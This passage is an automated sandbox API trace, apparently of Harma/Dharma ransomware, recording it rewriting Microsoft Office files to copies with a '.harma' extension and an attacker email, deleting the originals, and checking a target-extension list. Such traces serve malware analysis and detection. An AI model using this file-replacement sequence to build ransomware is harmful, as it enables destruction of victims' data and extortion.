Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 0x20 [0150.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0150.366] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.366] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0150.367] GetLastError () returned 0x0 [0150.367] ReadFile (in: hFile=0x33c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x860, lpOverlapped=0x0) returned 1 [0150.452] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x870, lpOverlapped=0x0) returned 1 [0150.453] ReadFile (in: hFile=0x33c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.453] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.453] SetEndOfFile (hFile=0x340) returned 1 [0150.453] CloseHandle (hObject=0x340) returned 1 [0150.453] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.453] SetEndOfFile (hFile=0x33c) returned 1 [0150.455] CloseHandle (hObject=0x33c) returned 1 [0150.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 1 [0150.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.698] lstrlenW (lpString=".doc") returned 4 [0150.698] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0150.698] lstrlenW (lpString=".docx") returned 5 [0150.698] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0150.698] lstrlenW (lpString=".pdf") returned 4 [0150.698] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0150.698] lstrlenW (lpString=".xls") returned 4 [0150.698] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0150.698] lstrlenW (lpString=".xlsx") returned 5 [0150.698] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0150.698] lstrlenW (lpString=".ppt") returned 4 [0150.699] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0150.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.699] lstrlenW (lpString=".zip") returned 4 [0150.699] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0150.699] lstrlenW (lpString=".rar") returned 4 [0150.699] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0150.699] lstrlenW (lpString=".bz2") returned 4 [0150.699] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0150.699] lstrlenW (lpString=".7z") returned 3 [0150.699] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0150.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.699] lstrlenW (lpString=".dbf") returned 4 [0150.699] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0150.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.699] lstrlenW (lpString=".1cd") returned 4 [0150.699] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0150.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.699] lstrlenW (lpString=".jpg") returned 4 [0150.699] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0150.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.699] lstrlenW (lpString=".doc") returned 4 [0150.699] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0150.700] lstrlenW (lpString=".docx") returned 5 [0150.700] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0150.700] lstrlenW (lpString=".pdf") returned 4 [0150.700] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0150.700] lstrlenW (lpString=".xls") returned 4 [0150.700] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0150.700] lstrlenW (lpString=".xlsx") returned 5 [0150.700] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0150.700] lstrlenW (lpString=".ppt") returned 4 [0150.700] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0150.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.700] lstrlenW (lpString=".zip") returned 4 [0150.700] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0150.700] lstrlenW (lpString=".rar") returned 4 [0150.700] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0150.700] lstrlenW (lpString=".bz2") returned 4 [0150.700] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0150.700] lstrlenW (lpString=".7z") returned 3 [0150.700] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0150.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.700] lstrlenW (lpString=".dbf") returned 4 [0150.700] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0150.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.701] lstrlenW (lpString=".1cd") returned 4 [0150.701] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0150.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0150.701] lstrlenW (lpString=".jpg") returned 4 [0150.701] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0150.701] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0150.701] lstrlenW (lpString="DBENGR.VSL") returned 10 [0150.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0151.705] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=53144) returned 1 [0151.705] CloseHandle (hObject=0x330) returned 1 [0151.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 0x20 [0151.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.744] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.744] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.744] GetLastError () returned 0x0 [0151.745] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xcf98, lpOverlapped=0x0) returned 1 [0151.819] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xcfa0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xcfa0, lpOverlapped=0x0) returned 1 [0151.821] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.821] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0151.821] SetEndOfFile (hFile=0x380) returned 1 [0151.821] CloseHandle (hObject=0x380) returned 1 [0151.821] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.821] SetEndOfFile (hFile=0x384) returned 1 [0151.828] CloseHandle (hObject=0x384) returned 1 [0151.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 1 [0151.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.829] lstrlenW (lpString=".doc") returned 4 [0151.829] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0151.829] lstrlenW (lpString=".docx") returned 5 [0151.829] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0151.829] lstrlenW (lpString=".pdf") returned 4 [0151.829] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0151.829] lstrlenW (lpString=".xls") returned 4 [0151.829] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0151.829] lstrlenW (lpString=".xlsx") returned 5 [0151.829] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0151.829] lstrlenW (lpString=".ppt") returned 4 [0151.829] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0151.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.829] lstrlenW (lpString=".zip") returned 4 [0151.829] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0151.829] lstrlenW (lpString=".rar") returned 4 [0151.829] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0151.830] lstrlenW (lpString=".bz2") returned 4 [0151.830] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0151.830] lstrlenW (lpString=".7z") returned 3 [0151.830] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0151.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.830] lstrlenW (lpString=".dbf") returned 4 [0151.830] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0151.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.830] lstrlenW (lpString=".1cd") returned 4 [0151.830] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0151.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.830] lstrlenW (lpString=".jpg") returned 4 [0151.830] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0151.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.830] lstrlenW (lpString=".doc") returned 4 [0151.830] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0151.830] lstrlenW (lpString=".docx") returned 5 [0151.830] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0151.830] lstrlenW (lpString=".pdf") returned 4 [0151.830] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0151.830] lstrlenW (lpString=".xls") returned 4 [0151.830] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0151.830] lstrlenW (lpString=".xlsx") returned 5 [0151.830] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0151.830] lstrlenW (lpString=".ppt") returned 4 [0151.830] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0151.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.830] lstrlenW (lpString=".zip") returned 4 [0151.830] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0151.831] lstrlenW (lpString=".rar") returned 4 [0151.831] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0151.831] lstrlenW (lpString=".bz2") returned 4 [0151.831] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0151.831] lstrlenW (lpString=".7z") returned 3 [0151.831] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0151.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.831] lstrlenW (lpString=".dbf") returned 4 [0151.831] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0151.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.831] lstrlenW (lpString=".1cd") returned 4 [0151.831] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0151.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0151.831] lstrlenW (lpString=".jpg") returned 4 [0151.831] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0151.831] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0151.831] lstrlenW (lpString="EXCEL_COL.HXT") returned 13 [0151.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.832] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=205) returned 1 [0151.832] CloseHandle (hObject=0x384) returned 1 [0151.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 0x20 [0151.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.832] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.833] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.833] GetLastError () returned 0x0 [0151.833] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xcd, lpOverlapped=0x0) returned 1 [0151.834] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0151.835] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.835] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xee, lpOverlapped=0x0) returned 1 [0151.835] SetEndOfFile (hFile=0x380) returned 1 [0151.836] CloseHandle (hObject=0x380) returned 1 [0151.836] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.836] SetEndOfFile (hFile=0x384) returned 1 [0151.838] CloseHandle (hObject=0x384) returned 1 [0151.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 1 [0151.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.839] lstrlenW (lpString=".doc") returned 4 [0151.839] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0151.839] lstrlenW (lpString=".docx") returned 5 [0151.839] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0151.839] lstrlenW (lpString=".pdf") returned 4 [0151.839] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0151.839] lstrlenW (lpString=".xls") returned 4 [0151.840] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0151.840] lstrlenW (lpString=".xlsx") returned 5 [0151.840] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0151.840] lstrlenW (lpString=".ppt") returned 4 [0151.840] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0151.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.840] lstrlenW (lpString=".zip") returned 4 [0151.840] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0151.840] lstrlenW (lpString=".rar") returned 4 [0151.840] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0151.840] lstrlenW (lpString=".bz2") returned 4 [0151.840] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0151.840] lstrlenW (lpString=".7z") returned 3 [0151.840] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0151.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.840] lstrlenW (lpString=".dbf") returned 4 [0151.840] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0151.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.840] lstrlenW (lpString=".1cd") returned 4 [0151.840] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0151.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.840] lstrlenW (lpString=".jpg") returned 4 [0151.840] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0151.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.840] lstrlenW (lpString=".doc") returned 4 [0151.840] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0151.840] lstrlenW (lpString=".docx") returned 5 [0151.840] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0151.840] lstrlenW (lpString=".pdf") returned 4 [0151.841] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0151.841] lstrlenW (lpString=".xls") returned 4 [0151.841] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0151.841] lstrlenW (lpString=".xlsx") returned 5 [0151.841] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0151.841] lstrlenW (lpString=".ppt") returned 4 [0151.841] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0151.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.841] lstrlenW (lpString=".zip") returned 4 [0151.841] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0151.841] lstrlenW (lpString=".rar") returned 4 [0151.841] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0151.841] lstrlenW (lpString=".bz2") returned 4 [0151.841] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0151.841] lstrlenW (lpString=".7z") returned 3 [0151.841] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0151.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.841] lstrlenW (lpString=".dbf") returned 4 [0151.841] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0151.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.841] lstrlenW (lpString=".1cd") returned 4 [0151.841] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0151.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0151.841] lstrlenW (lpString=".jpg") returned 4 [0151.841] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0151.841] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0151.841] lstrlenW (lpString="EXCEL_F_COL.HXK") returned 15 [0151.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.842] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=114) returned 1 [0151.842] CloseHandle (hObject=0x384) returned 1 [0151.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 0x20 [0151.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.843] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.843] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 